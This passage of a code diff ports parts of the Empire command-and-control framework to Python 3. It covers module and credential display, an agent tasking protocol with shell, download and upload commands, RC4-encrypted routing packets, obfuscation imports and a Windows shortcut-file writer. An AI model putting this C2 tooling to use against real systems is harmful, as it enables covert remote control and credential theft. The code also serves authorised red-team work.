347365 if len(desc.splitlines()) == 1:
348 print " " + str(desc)
349 else:
350 print desc
366 print(" " + str(desc))
367 else:
368 print(desc)
351369
352370 # print out any options, if present
353371 if stager.options:
354 print "\nOptions:\n"
355 print " Name Required Value Description"
356 print " ---- -------- ------- -----------"
357
358 for option, values in stager.options.iteritems():
359 print " %s%s%s%s" % ('{0: <17}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <18}'.format(values['Value']), wrap_string(values['Description'], indent=49))
360
361 print "\n"
372 print("\nOptions:\n")
373 print(" Name Required Value Description")
374 print(" ---- -------- ------- -----------")
375
376 for option, values in stager.options.items():
377 print(" %s%s%s%s" % ('{0: <17}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <18}'.format(values['Value']), wrap_string(values['Description'], indent=49)))
378
379 print("\n")
362380
363381
364382 def display_module(moduleName, module):
366384 Displays a module's information structure.
367385 """
368386
369 print '\n{0: >20}'.format("Name: ") + str(module.info['Name'])
370 print '{0: >20}'.format("Module: ") + str(moduleName)
387 print('\n{0: >20}'.format("Name: ") + str(module.info['Name']))
388 print('{0: >20}'.format("Module: ") + str(moduleName))
371389 if 'NeedsAdmin' in module.info:
372 print '{0: >20}'.format("NeedsAdmin: ") + ("True" if module.info['NeedsAdmin'] else "False")
390 print('{0: >20}'.format("NeedsAdmin: ") + ("True" if module.info['NeedsAdmin'] else "False"))
373391 if 'OpsecSafe' in module.info:
374 print '{0: >20}'.format("OpsecSafe: ") + ("True" if module.info['OpsecSafe'] else "False")
392 print('{0: >20}'.format("OpsecSafe: ") + ("True" if module.info['OpsecSafe'] else "False"))
375393 if 'Language' in module.info:
376 print '{0: >20}'.format("Language: ") + str(module.info['Language'])
394 print('{0: >20}'.format("Language: ") + str(module.info['Language']))
377395 if 'MinLanguageVersion' in module.info:
378 print '{0: >20}'.format("MinLanguageVersion: ") + str(module.info['MinLanguageVersion'])
396 print('{0: >20}'.format("MinLanguageVersion: ") + str(module.info['MinLanguageVersion']))
379397 if 'Background' in module.info:
380 print '{0: >20}'.format("Background: ") + ("True" if module.info['Background'] else "False")
398 print('{0: >20}'.format("Background: ") + ("True" if module.info['Background'] else "False"))
381399 if 'OutputExtension' in module.info:
382 print '{0: >20}'.format("OutputExtension: ") + (str(module.info['OutputExtension']) if module.info['OutputExtension'] else "None")
383
384 print "\nAuthors:"
400 print('{0: >20}'.format("OutputExtension: ") + (str(module.info['OutputExtension']) if module.info['OutputExtension'] else "None"))
401
402 print("\nAuthors:")
385403 for author in module.info['Author']:
386 print " " +author
387
388 print "\nDescription:"
404 print(" " +author)
405
406 print("\nDescription:")
389407 desc = wrap_string(module.info['Description'], width=60, indent=2, indentAll=True)
390408 if len(desc.splitlines()) == 1:
391 print " " + str(desc)
392 else:
393 print desc
409 print(" " + str(desc))
410 else:
411 print(desc)
394412
395413 if 'Comments' in module.info:
396414 comments = module.info['Comments']
397415 if isinstance(comments, list):
398416 comments = ' '.join(comments)
399417 if comments.strip() != '':
400 print "\nComments:"
418 print("\nComments:")
401419 if isinstance(comments, list):
402420 comments = ' '.join(comments)
403421 comment = wrap_string(comments, width=60, indent=2, indentAll=True)
404422 if len(comment.splitlines()) == 1:
405 print " " + str(comment)
406 else:
407 print comment
423 print(" " + str(comment))
424 else:
425 print(comment)
408426
409427 # print out any options, if present
410428 if module.options:
411429
412430 # get the size for the first column
413 maxNameLen = len(max(module.options.keys(), key=len))
414
415 print "\nOptions:\n"
416 print " %sRequired Value Description" %('{:<{}s}'.format("Name", maxNameLen+1))
417 print " %s-------- ------- -----------" %('{:<{}s}'.format("----", maxNameLen+1))
418
419 for option, values in module.options.iteritems():
420 print " %s%s%s" % ('{:<{}s}'.format(str(option), maxNameLen+1), '{0: <12}'.format(("True" if values['Required'] else "False")), wrap_columns(str(values['Value']), str(values['Description']), indent=(31 + (maxNameLen-16))))
421
422 print ''
431 maxNameLen = len(max(list(module.options.keys()), key=len))
432
433 print("\nOptions:\n")
434 print(" %sRequired Value Description" %('{:<{}s}'.format("Name", maxNameLen+1)))
435 print(" %s-------- ------- -----------" %('{:<{}s}'.format("----", maxNameLen+1)))
436
437 for option, values in module.options.items():
438 print(" %s%s%s" % ('{:<{}s}'.format(str(option), maxNameLen+1), '{0: <12}'.format(("True" if values['Required'] else "False")), wrap_columns(str(values['Value']), str(values['Description']), indent=(31 + (maxNameLen-16)))))
439
440 print('')
423441
424442
425443 def display_module_search(moduleName, module):
429447
430448 # Suffix modules requring elevated context with '*'
431449 if module.info['NeedsAdmin']:
432 print " %s*\n" % (helpers.color(moduleName, 'blue'))
433 else:
434 print " %s\n" % (helpers.color(moduleName, 'blue'))
450 print(" %s*\n" % (helpers.color(moduleName, 'blue')))
451 else:
452 print(" %s\n" % (helpers.color(moduleName, 'blue')))
435453 # width=40, indent=32, indentAll=False,
436454
437455 lines = textwrap.wrap(textwrap.dedent(module.info['Description']).strip(), width=70)
438456 for line in lines:
439 print "\t" + line
440
441 print "\n"
457 print("\t" + line)
458
459 print("\n")
442460
443461
444462 def display_credentials(creds):
446464 Take a credential array and display everything nicely.
447465 """
448466
449 print helpers.color("\nCredentials:\n", "blue")
450 print " CredID CredType Domain UserName Host Password"
451 print " ------ -------- ------ -------- ---- --------"
467 print(helpers.color("\nCredentials:\n", "blue"))
468 print(" CredID CredType Domain UserName Host Password")
469 print(" ------ -------- ------ -------- ---- --------")
452470
453471 for cred in creds:
454472 # (id, credtype, domain, username, password, host, notes, sid)
459477 password = cred[4]
460478 host = cred[5]
461479
462 print " %s%s%s%s%s%s" % ('{0: <8}'.format(credID), '{0: <11}'.format(credType), '{0: <25}'.format(domain), '{0: <17}'.format(username), '{0: <17}'.format(host), password)
463
464 print ''
480 print(" %s%s%s%s%s%s" % ('{0: <8}'.format(credID), '{0: <11}'.format(credType), '{0: <25}'.format(domain), '{0: <17}'.format(username), '{0: <17}'.format(host), password))
481
482 print('')
+9
-7
lib/common/modules.py less more
55 install path in the common config.
66
77 """
8 from __future__ import print_function
9 from __future__ import absolute_import
810
11 from builtins import object
912 import fnmatch
1013 import os
1114 import imp
12 import messages
13 import helpers
15 from . import messages
16 from . import helpers
1417
1518
16 class Modules:
19 class Modules(object):
1720
1821 def __init__(self, MainMenu, args):
1922
3538 Load Empire modules from a specified path, default to
3639 installPath + "/lib/modules/*"
3740 """
38
3941 if rootPath == '':
4042 rootPath = "%s/lib/modules/" % (self.mainMenu.installPath)
4143
4244 pattern = '*.py'
43 print helpers.color("[*] Loading modules from: %s" % (rootPath))
45 print(helpers.color("[*] Loading modules from: %s" % (rootPath)))
4446
4547 for root, dirs, files in os.walk(rootPath):
4648 for filename in fnmatch.filter(files, pattern):
8991 Search currently loaded module names and descriptions.
9092 """
9193
92 print ''
94 print('')
9395
94 for moduleName, module in self.modules.iteritems():
96 for moduleName, module in self.modules.items():
9597
9698 if searchTerm.lower() == '' or searchTerm.lower() in moduleName.lower() or searchTerm.lower() in module.info['Description'].lower():
9799 messages.display_module_search(moduleName, module)
+1
-0
lib/common/obfuscation.py less more
66 better evasion, etc.)
77 """
88
9 from builtins import object
910 from pyminifier import token_utils as py_tokenizer
1011 from pyminifier import minification as py_minifier
1112 from pyminifier import obfuscate as py_obfuscator
+104
-100
lib/common/packets.py less more
5757 [X...] - tasking data
5858
5959 """
60
60 from __future__ import absolute_import
61
62 import base64
63 import json
64 import os
65 import sys
6166 import struct
62 import base64
63 import os
64 import hashlib
65 import hmac
66 import json
67
6768 from pydispatch import dispatcher
6869
6970 # Empire imports
70 import encryption
71 from . import encryption
7172
7273 # 0 -> error
7374 # 1-99 -> standard functionality
7576 # 200-299 -> SMB functionality
7677
7778 PACKET_NAMES = {
78 "ERROR" : 0,
79
80 "TASK_SYSINFO" : 1,
81 "TASK_EXIT" : 2,
82
83 "TASK_SET_DELAY" : 10,
84 "TASK_GET_DELAY" : 12,
85 "TASK_SET_SERVERS" : 13,
86 "TASK_ADD_SERVERS" : 14,
87 "TASK_UPDATE_PROFILE" : 20,
88 "TASK_SET_KILLDATE" : 30,
89 "TASK_GET_KILLDATE" : 31,
90 "TASK_SET_WORKING_HOURS" : 32,
91 "TASK_GET_WORKING_HOURS" : 33,
92
93 "TASK_SHELL" : 40,
94 "TASK_DOWNLOAD" : 41,
95 "TASK_UPLOAD" : 42,
96
97 "TASK_GETJOBS" : 50,
98 "TASK_STOPJOB" : 51,
99
100 "TASK_CMD_WAIT" : 100,
101 "TASK_CMD_WAIT_SAVE" : 101,
102 "TASK_CMD_JOB" : 110,
103 "TASK_CMD_JOB_SAVE" : 111,
104
105 "TASK_SCRIPT_IMPORT" : 120,
106 "TASK_SCRIPT_COMMAND" : 121,
107 "TASK_IMPORT_MODULE" : 122,
108 "TASK_VIEW_MODULE" : 123,
109 "TASK_REMOVE_MODULE" : 124,
110
111 "TASK_SWITCH_LISTENER" : 130,
112 "TASK_UPDATE_LISTENERNAME" : 131
79 "ERROR": 0,
80
81 "TASK_SYSINFO": 1,
82 "TASK_EXIT": 2,
83
84 "TASK_SET_DELAY": 10,
85 "TASK_GET_DELAY": 12,
86 "TASK_SET_SERVERS": 13,
87 "TASK_ADD_SERVERS": 14,
88 "TASK_UPDATE_PROFILE": 20,
89 "TASK_SET_KILLDATE": 30,
90 "TASK_GET_KILLDATE": 31,
91 "TASK_SET_WORKING_HOURS": 32,
92 "TASK_GET_WORKING_HOURS": 33,
93
94 "TASK_SHELL": 40,
95 "TASK_DOWNLOAD": 41,
96 "TASK_UPLOAD": 42,
97
98 "TASK_GETJOBS": 50,
99 "TASK_STOPJOB": 51,
100
101 "TASK_CMD_WAIT": 100,
102 "TASK_CMD_WAIT_SAVE": 101,
103 "TASK_CMD_JOB": 110,
104 "TASK_CMD_JOB_SAVE": 111,
105
106 "TASK_SCRIPT_IMPORT": 120,
107 "TASK_SCRIPT_COMMAND": 121,
108 "TASK_IMPORT_MODULE": 122,
109 "TASK_VIEW_MODULE": 123,
110 "TASK_REMOVE_MODULE": 124,
111
112 "TASK_SWITCH_LISTENER": 130,
113 "TASK_UPDATE_LISTENERNAME": 131
113114 }
114115
115116 # build a lookup table for IDS
116117 PACKET_IDS = {}
117 for name, ID in PACKET_NAMES.items(): PACKET_IDS[ID] = name
118 for name, ID in list(PACKET_NAMES.items()): PACKET_IDS[ID] = name
118119
119120 LANGUAGE = {
120 'NONE' : 0,
121 'POWERSHELL' : 1,
122 'PYTHON' : 2
121 'NONE': 0,
122 'POWERSHELL': 1,
123 'PYTHON': 2
123124 }
124125 LANGUAGE_IDS = {}
125 for name, ID in LANGUAGE.items(): LANGUAGE_IDS[ID] = name
126 for name, ID in list(LANGUAGE.items()): LANGUAGE_IDS[ID] = name
126127
127128 META = {
128 'NONE' : 0,
129 'STAGE0' : 1,
130 'STAGE1' : 2,
131 'STAGE2' : 3,
132 'TASKING_REQUEST' : 4,
133 'RESULT_POST' : 5,
134 'SERVER_RESPONSE' : 6
129 'NONE': 0,
130 'STAGE0': 1,
131 'STAGE1': 2,
132 'STAGE2': 3,
133 'TASKING_REQUEST': 4,
134 'RESULT_POST': 5,
135 'SERVER_RESPONSE': 6
135136 }
136137 META_IDS = {}
137 for name, ID in META.items(): META_IDS[ID] = name
138 for name, ID in list(META.items()): META_IDS[ID] = name
138139
139140 ADDITIONAL = {}
140141 ADDITIONAL_IDS = {}
141 for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
142 for name, ID in list(ADDITIONAL.items()): ADDITIONAL_IDS[ID] = name
142143
143144
144145 def build_task_packet(taskName, data, resultID):
158159 | 2 | 2 | 2 | 2 | 4 | <Length> |
159160 +------+--------------------+----------+---------+--------+-----------+
160161 """
161
162
162163 taskType = struct.pack('=H', PACKET_NAMES[taskName])
163164 totalPacket = struct.pack('=H', 1)
164165 packetNum = struct.pack('=H', 1)
165166 resultID = struct.pack('=H', resultID)
166 length = struct.pack('=L',len(data))
167 return taskType + totalPacket + packetNum + resultID + length + data.decode('utf-8').encode('utf-8',errors='ignore')
168
167 length = struct.pack('=L', len(data))
168 return taskType + totalPacket + packetNum + resultID + length + data.encode("UTF-8")
169169
170170 def parse_result_packet(packet, offset=0):
171171 """
188188
189189 Returns a tuple with (responseName, totalPackets, packetNum, taskID, length, data, remainingData)
190190 """
191
191
192192 try:
193 responseID = struct.unpack('=H', packet[0+offset:2+offset])[0]
194 totalPacket = struct.unpack('=H', packet[2+offset:4+offset])[0]
195 packetNum = struct.unpack('=H', packet[4+offset:6+offset])[0]
196 taskID = struct.unpack('=H', packet[6+offset:8+offset])[0]
197 length = struct.unpack('=L', packet[8+offset:12+offset])[0]
193 responseID = struct.unpack('=H', packet[0 + offset:2 + offset])[0]
194 totalPacket = struct.unpack('=H', packet[2 + offset:4 + offset])[0]
195 packetNum = struct.unpack('=H', packet[4 + offset:6 + offset])[0]
196 taskID = struct.unpack('=H', packet[6 + offset:8 + offset])[0]
197 length = struct.unpack('=L', packet[8 + offset:12 + offset])[0]
198198 if length != '0':
199 data = base64.b64decode(packet[12+offset:12+offset+length])
199 data = base64.b64decode(packet[12 + offset:12 + offset + length])
200200 else:
201201 data = None
202 remainingData = packet[12+offset+length:]
202 remainingData = packet[12 + offset + length:]
203203 return (PACKET_IDS[responseID], totalPacket, packetNum, taskID, length, data, remainingData)
204204 except Exception as e:
205205 message = "[!] parse_result_packet(): exception: {}".format(e)
208208 'message': message
209209 })
210210 dispatcher.send(signal, sender="empire")
211
211
212212 return (None, None, None, None, None, None, None)
213213
214214
218218 """
219219
220220 resultPackets = []
221
221
222222 # parse the first result packet
223223 (responseName, totalPacket, packetNum, taskID, length, data, remainingData) = parse_result_packet(packets)
224
224
225225 if responseName and responseName != '':
226 resultPackets.append( (responseName, totalPacket, packetNum, taskID, length, data) )
227
226 resultPackets.append((responseName, totalPacket, packetNum, taskID, length, data))
227
228228 # iterate 12 (size of packet header) + length of the decoded
229229 offset = 12 + length
230230 while remainingData and remainingData != '':
231231 # parse any additional result packets
232232 # (responseName, length, data, remainingData) = parse_result_packet(packets, offset=offset)
233 (responseName, totalPacket, packetNum, taskID, length, data, remainingData) = parse_result_packet(packets, offset=offset)
233 (responseName, totalPacket, packetNum, taskID, length, data, remainingData) = parse_result_packet(packets,
234 offset=offset)
234235 if responseName and responseName != '':
235 resultPackets.append( (responseName, totalPacket, packetNum, taskID, length, data) )
236 resultPackets.append((responseName, totalPacket, packetNum, taskID, length, data))
236237 offset += 12 + length
237
238
238239 return resultPackets
239240
240241
261262 +-----------+------+------+-------+--------+
262263
263264 """
264
265
265266 if data:
266267 results = {}
267268 offset = 0
268
269269 # ensure we have at least the 20 bytes for a routing packet
270270 if len(data) >= 20:
271
271
272272 while True:
273
273
274274 if len(data) - offset < 20:
275275 break
276
277 RC4IV = data[0+offset:4+offset]
278 RC4data = data[4+offset:20+offset]
279 routingPacket = encryption.rc4(RC4IV+stagingKey, RC4data)
280 sessionID = routingPacket[0:8]
276
277 RC4IV = data[0 + offset:4 + offset]
278 RC4data = data[4 + offset:20 + offset]
279 routingPacket = encryption.rc4(RC4IV + stagingKey.encode('UTF-8'), RC4data)
280 sessionID = routingPacket[0:8].decode('UTF-8')
281281
282282 # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long
283283 (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:])
290290 dispatcher.send(signal, sender="empire")
291291 encData = None
292292 else:
293 encData = data[(20+offset):(20+offset+length)]
294
295 results[sessionID] = (LANGUAGE_IDS.get(language, 'NONE'), META_IDS.get(meta, 'NONE'), ADDITIONAL_IDS.get(additional, 'NONE'), encData)
296
293 encData = data[(20 + offset):(20 + offset + length)]
294
295 results[sessionID] = (
296 LANGUAGE_IDS.get(language, 'NONE'), META_IDS.get(meta, 'NONE'),
297 ADDITIONAL_IDS.get(additional, 'NONE'),
298 encData)
299
297300 # check if we're at the end of the packet processing
298 remainingData = data[20+offset+length:]
301 remainingData = data[20 + offset + length:]
299302 if not remainingData or remainingData == '':
300303 break
301
304
302305 offset += 20 + length
303
306
304307 return results
305
308
306309 else:
307310 message = "[*] parse_agent_data() data length incorrect: {}".format(len(data))
308311 signal = json.dumps({
344347 +-----------+------+------+-------+--------+
345348
346349 """
347
348 # binary pack all of the passed config values as unsigned numbers
350 # binary pack all of the pcassed config values as unsigned numbers
349351 # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long
350 data = sessionID + struct.pack("=BBHL", LANGUAGE.get(language.upper(), 0), META.get(meta.upper(), 0), ADDITIONAL.get(additional.upper(), 0), len(encData))
351
352 sessionID = sessionID.encode('UTF-8')
353 data = sessionID + struct.pack("=BBHL", LANGUAGE.get(language.upper(), 0), META.get(meta.upper(), 0),
354 ADDITIONAL.get(additional.upper(), 0), len(encData))
352355 RC4IV = os.urandom(4)
353 stagingKey = str(stagingKey)
356 stagingKey = stagingKey.encode('UTF-8')
354357 key = RC4IV + stagingKey
355358 rc4EncData = encryption.rc4(key, data)
356
357359 # return an rc4 encyption of the routing packet, append an HMAC of the packet, then the actual encrypted data
360 if isinstance(encData, str) and sys.version[0] != "2":
361 encData = encData.encode('UTF-8')
362
358363 packet = RC4IV + rc4EncData + encData
359
360364 return packet
361365
362366
+2
-0
lib/common/plugins.py less more
00 """ Utilities and helpers and etc. for plugins """
1 from __future__ import print_function
12
3 from builtins import object
24 import importlib
35
46 import lib.common.helpers as helpers
+796
-789
lib/common/pylnk.py less more
0 #!/usr/bin/python
1 #
2 # Python library for reading and writing Windows shortcut files (.lnk)
3 # Copyright 2011 Tim-Christian Mundt
4 #
5 # This library is free software; you can redistribute it and/or
6 # modify it under the terms of the GNU Lesser General Public
7 # License as published by the Free Software Foundation; either
8 # version 3 of the License, or (at your option) any later version.
9 #
10 # This library is distributed in the hope that it will be useful,
11 # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13 # Lesser General Public License for more details.
14 #
15 # You should have received a copy of the GNU Lesser General Public
16 # License along with this library; if not, see
17 # <http://www.gnu.org/licenses/>.
18 #
19 # hardly cannibalized from https://sourceforge.net/p/pylnk/home/Home/
20 # not as clean as i wished
21 # cannibal: @theguly
22
23 import sys, os, time, re
24 from struct import pack, unpack
25 from pprint import pformat,PrettyPrinter
26 from datetime import datetime
27 from StringIO import StringIO
28 pp = PrettyPrinter(indent=4)
29
30 #---- constants
31
32 _SIGNATURE = 'L\x00\x00\x00'
33 _GUID = '\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00F'
34 _LINK_INFO_HEADER_DEFAULT = 0x1C
35 _LINK_INFO_HEADER_OPTIONAL = 0x24
36
37 _LINK_FLAGS = ('has_shell_item_id_list', 'has_link_info', 'has_description',
38 'has_relative_path', 'has_work_directory', 'has_arguments',
39 'has_icon', 'is_unicode', 'force_no_link_info')
40
41 _FILE_ATTRIBUTES_FLAGS = ('read_only', 'hidden', 'system_file', 'reserved1',
42 'directory', 'archive', 'reserved2', 'normal',
43 'temporary', 'sparse_file', 'reparse_point',
44 'compressed', 'offline', 'not_content_indexed',
45 'encrypted')
46
47 _MODIFIER_KEYS = ('SHIFT', 'CONTROL', 'ALT')
48
49 WINDOW_NORMAL = "Normal"
50 WINDOW_MAXIMIZED = "Maximized"
51 WINDOW_MINIMIZED = "Minimized"
52 _SHOW_COMMANDS = {1:WINDOW_NORMAL, 3:WINDOW_MAXIMIZED, 7:WINDOW_MINIMIZED}
53 _SHOW_COMMAND_IDS = dict((v, k) for k, v in _SHOW_COMMANDS.iteritems())
54
55 DRIVE_UNKNOWN = "Unknown"
56 DRIVE_NO_ROOT_DIR = "No root directory"
57 DRIVE_REMOVABLE = "Removable"
58 DRIVE_FIXED = "Fixed (Hard disk)"
59 DRIVE_REMOTE = "Remote (Network drive)"
60 DRIVE_CDROM = "CD-ROM"
61 DRIVE_RAMDISK = "Ram disk"
62 _DRIVE_TYPES = {0: DRIVE_UNKNOWN,
63 1: DRIVE_NO_ROOT_DIR,
64 2: DRIVE_REMOVABLE,
65 3: DRIVE_FIXED,
66 4: DRIVE_REMOTE,
67 5: DRIVE_CDROM,
68 6: DRIVE_RAMDISK}
69 _DRIVE_TYPE_IDS = dict((v, k) for k, v in _DRIVE_TYPES.iteritems())
70
71 _KEYS = {0x30: '0', 0x31: '1', 0x32: '2', 0x33: '3', 0x34: '4', 0x35: '5', 0x36: '6',
72 0x37: '7', 0x38: '8', 0x39: '9', 0x41: 'A', 0x42: 'B', 0x43: 'C', 0x44: 'D',
73 0x45: 'E', 0x46: 'F', 0x47: 'G', 0x48: 'H', 0x49: 'I', 0x4A: 'J', 0x4B: 'K',
74 0x4C: 'L', 0x4D: 'M', 0x4E: 'N', 0x4F: 'O', 0x50: 'P', 0x51: 'Q', 0x52: 'R',
75 0x53: 'S', 0x54: 'T', 0x55: 'U', 0x56: 'V', 0x57: 'W', 0x58: 'X', 0x59: 'Y',
76 0x5A: 'Z', 0x70: 'F1', 0x71: 'F2', 0x72: 'F3', 0x73: 'F4', 0x74: 'F5',
77 0x75: 'F6', 0x76: 'F7', 0x77: 'F8', 0x78: 'F9', 0x79: 'F10', 0x7A: 'F11',
78 0x7B: 'F12', 0x7C: 'F13', 0x7D: 'F14', 0x7E: 'F15', 0x7F: 'F16', 0x80: 'F17',
79 0x81: 'F18', 0x82: 'F19', 0x83: 'F20', 0x84: 'F21', 0x85: 'F22', 0x86: 'F23',
80 0x87: 'F24', 0x90: 'NUM LOCK', 0x91: 'SCROLL LOCK'}
81 _KEY_CODES = dict((v, k) for k, v in _KEYS.iteritems())
82
83 ROOT_MY_COMPUTER = 'MY_COMPUTER'
84 ROOT_MY_DOCUMENTS = 'MY_DOCUMENTS'
85 ROOT_NETWORK_SHARE = 'NETWORK_SHARE'
86 ROOT_NETWORK_SERVER = 'NETWORK_SERVER'
87 ROOT_NETWORK_PLACES = 'NETWORK_PLACES'
88 ROOT_NETWORK_DOMAIN = 'NETWORK_DOMAIN'
89 ROOT_INTERNET = 'INTERNET'
90 ROOT_RECYLCE_BIN = 'RECYLCE_BIN'
91 ROOT_CONTROL_PANEL = 'CONTROL_PANEL'
92
93 _ROOT_LOCATIONS = {'{20D04FE0-3AEA-1069-A2D8-08002B30309D}': ROOT_MY_COMPUTER,
94 '{450D8FBA-AD25-11D0-98A8-0800361B1103}': ROOT_MY_DOCUMENTS,
95 '{54a754c0-4bf1-11d1-83ee-00a0c90dc849}': ROOT_NETWORK_SHARE,
96 '{c0542a90-4bf0-11d1-83ee-00a0c90dc849}': ROOT_NETWORK_SERVER,
97 '{208D2C60-3AEA-1069-A2D7-08002B30309D}': ROOT_NETWORK_PLACES,
98 '{46e06680-4bf0-11d1-83ee-00a0c90dc849}': ROOT_NETWORK_DOMAIN,
99 '{871C5380-42A0-1069-A2EA-08002B30309D}': ROOT_INTERNET,
100 '{645FF040-5081-101B-9F08-00AA002F954E}': ROOT_RECYLCE_BIN,
101 '{21EC2020-3AEA-1069-A2DD-08002B30309D}': ROOT_CONTROL_PANEL}
102 _ROOT_LOCATION_GUIDS = dict((v, k) for k, v in _ROOT_LOCATIONS.iteritems())
103
104 TYPE_FOLDER = 'FOLDER'
105 TYPE_FILE = 'FILE'
106 _ENTRY_TYPES = {0x31: 'FOLDER', 0x32: 'FILE',
107 0x35: 'FOLDER (UNICODE)', 0x36: 'FILE (UNICODE)'}
108 _ENTRY_TYPE_IDS = dict((v, k) for k, v in _ENTRY_TYPES.iteritems())
109
110 _DRIVE_PATTERN = re.compile("(\w)[:/\\\\]*$")
111
112 #---- read and write binary data
113
114 def read_byte(buf):
115 return unpack('<B', buf.read(1))[0]
116
117 def read_short(buf):
118 return unpack('<H', buf.read(2))[0]
119
120 def read_int(buf):
121 return unpack('<I', buf.read(4))[0]
122
123 def read_double(buf):
124 return unpack('<Q', buf.read(8))[0]
125
126 def read_cunicode(buf):
127 s = ""
128 b = buf.read(2)
129 while b!= '\x00\x00':
130 s += b
131 b = buf.read(2)
132 return s.decode('utf-16-le')
133
134 def read_cstring(buf, padding=False):
135 s = ""
136 b = buf.read(1)
137 while b != '\x00':
138 s += b
139 b = buf.read(1)
140 if padding and not len(s) % 2:
141 buf.read(1) # make length + terminator even
142 #TODO: encoding is not clear, unicode-escape has been necessary sometimes
143 return s.decode('cp1252')
144
145 def read_sized_string(buf, unicode=True):
146 size = read_short(buf)
147 if unicode:
148 return buf.read(size*2).decode('utf-16-le')
149 else:
150 return buf.read(size)
151
152 def get_bits(value, start, count, length=16):
153 mask = 0
154 for i in range(count):
155 mask = mask | 1 << i
156 shift = length - start - count
157 return value >> shift & mask
158
159 def read_dos_datetime(buf):
160 date = read_short(buf)
161 time = read_short(buf)
162 year = get_bits(date, 0, 7) + 1980
163 month = get_bits(date, 7, 4)
164 day = get_bits(date, 11, 5)
165 hour = get_bits(time, 0, 5)
166 minute = get_bits(time, 5, 6)
167 second = get_bits(time, 11, 5)
168 return datetime(year, month, day, hour, minute, second)
169
170 def write_byte(val, buf):
171 buf.write(pack('<B', val))
172
173 def write_short(val, buf):
174 buf.write(pack('<H', val))
175
176 def write_int(val, buf):
177 buf.write(pack('<I', val))
178
179 def write_double(val, buf):
180 buf.write(pack('<Q', val))
181
182 def write_cstring(val, buf, padding=False):
183 #val = val.encode('unicode-escape').replace('\\\\', '\\')
184 val = val.encode('cp1252')
185 buf.write(val + '\x00')
186 if padding and not len(val) % 2:
187 buf.write('\x00')
188
189 def write_cunicode(val, buf):
190 uni = val.encode('utf-16-le')
191 buf.write(uni + '\x00\x00')
192
193 def write_sized_string(val, buf, unicode=True):
194 size = len(val)
195 write_short(size, buf)
196 if unicode:
197 buf.write(val.encode('utf-16-le'))
198 else:
199 buf.write(val)
200
201 def ret_sized_string(val, unicode=True):
202 size = len(val)
203 ret = pack('<H', size)
204 if unicode:
205 ret += val.encode('utf-16-le')
206 else:
207 ret += val
208 return ret
209
210 def put_bits(bits, target, start, count, length=16):
211 return target | bits << (length - start - count)
212
213 def write_dos_datetime(val, buf):
214 date = time = 0
215 date = put_bits(val.year-1980, date, 0, 7)
216 date = put_bits(val.month, date, 7, 4)
217 date = put_bits(val.day, date, 11, 5)
218 time = put_bits(val.hour, time, 0, 5)
219 time = put_bits(val.minute, time, 5, 6)
220 time = put_bits(val.second, time, 11, 5)
221 write_short(date, buf)
222 write_short(time, buf)
223
224 #---- helpers
225
226 def convert_time_to_unix(windows_time):
227 # Windows time is specified as the number of 0.1 nanoseconds since January 1, 1601.
228 # UNIX time is specified as the number of seconds since January 1, 1970.
229 # There are 134774 days (or 11644473600 seconds) between these dates.
230 unix_time = windows_time / 10000000.0 - 11644473600
231 return datetime.fromtimestamp(unix_time)
232
233 def convert_time_to_windows(unix_time):
234 if isinstance(unix_time, datetime):
235 unix_time = time.mktime(unix_time.timetuple())
236 return long((unix_time + 11644473600) * 10000000)
237
238 class FormatException(Exception):
239 pass
240
241 class MissingInformationException(Exception):
242 pass
243
244 class InvalidKeyException(Exception):
245 pass
246
247 #---- data structures
248
249 class Flags(object):
250
251 def __init__(self, flag_names, flags_bytes=0):
252 self._flag_names = flag_names
253 self._flags = dict([(name, None) for name in flag_names])
254 self.set_flags(flags_bytes)
255
256 def set_flags(self, flags_bytes):
257 for pos in range(len(self._flag_names)):
258 self._flags[self._flag_names[pos]] = flags_bytes >> pos & 0x1 and True or False
259
260 def bytes(self):
261 bytes = 0
262 for pos in range(len(self._flag_names)):
263 bytes = (self._flags[self._flag_names[pos]] and 1 or 0) << pos | bytes
264 return bytes
265 bytes = property(bytes)
266
267 def __getitem__(self, key):
268 return object.__getattribute__(self, '_flags')[key]
269
270 def __setitem__(self, key, value):
271 if not self._flags.has_key(key):
272 raise KeyError("The key '%s' is not defined for those flags." % key)
273 self._flags[key] = value
274
275 def __getattr__(self, key):
276 return object.__getattribute__(self, '_flags')[key]
277
278 def __setattr__(self, key, value):
279 if not self.__dict__.has_key('_flags'):
280 object.__setattr__(self, key, value)
281 elif self.__dict__.has_key(key):
282 object.__setattr__(self, key, value)
283 else:
284 self.__setitem__(key, value)
285
286 def __str__(self):
287 return pformat(self._flags, indent=2)
288
289
290 class ModifierKeys(Flags):
291
292 def __init__(self, flags_bytes=0):
293 Flags.__init__(self, _MODIFIER_KEYS, flags_bytes)
294
295 def __str__(self):
296 s = ""
297 s += self.CONTROL and "CONTROL+" or ""
298 s += self.SHIFT and "SHIFT+" or ""
299 s += self.ALT and "ALT+" or ""
300 return s
301
302
303 class RootEntry(object):
304
305 def __init__(self, root):
306 if root is not None:
307 if root in _ROOT_LOCATION_GUIDS.keys():
308 self.root = root
309 self.guid = _ROOT_LOCATION_GUIDS[root]
310 else:
311 bytes = root
312 if len(bytes) == 18: # and bytes[:2] == '\x1F\x50':
313 # '\x1F\x50' for MY_COMPUTER
314 # '\x1FX' for NETWORK
315 bytes = bytes[2:]
316 if len(bytes) != 16:
317 raise FormatException("This is no valid _GUID: %s" % bytes)
318 ordered = [bytes[3], bytes[2], bytes[1], bytes[0], bytes[5], bytes[4],
319 bytes[7], bytes[6], bytes[8], bytes[9], bytes[10], bytes[11],
320 bytes[12], bytes[13], bytes[14], bytes[15]]
321 self.guid = "{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}" % tuple(
322 [ord(x) for x in ordered])
323 self.root = _ROOT_LOCATIONS.get(self.guid, "UNKNOWN")
324
325 def bytes(self):
326 guid = self.guid[1:-1].replace('-', '')
327 chars = [chr(int(x, 16)) for x in [guid[i:i+2] for i in range(0, 32, 2)]]
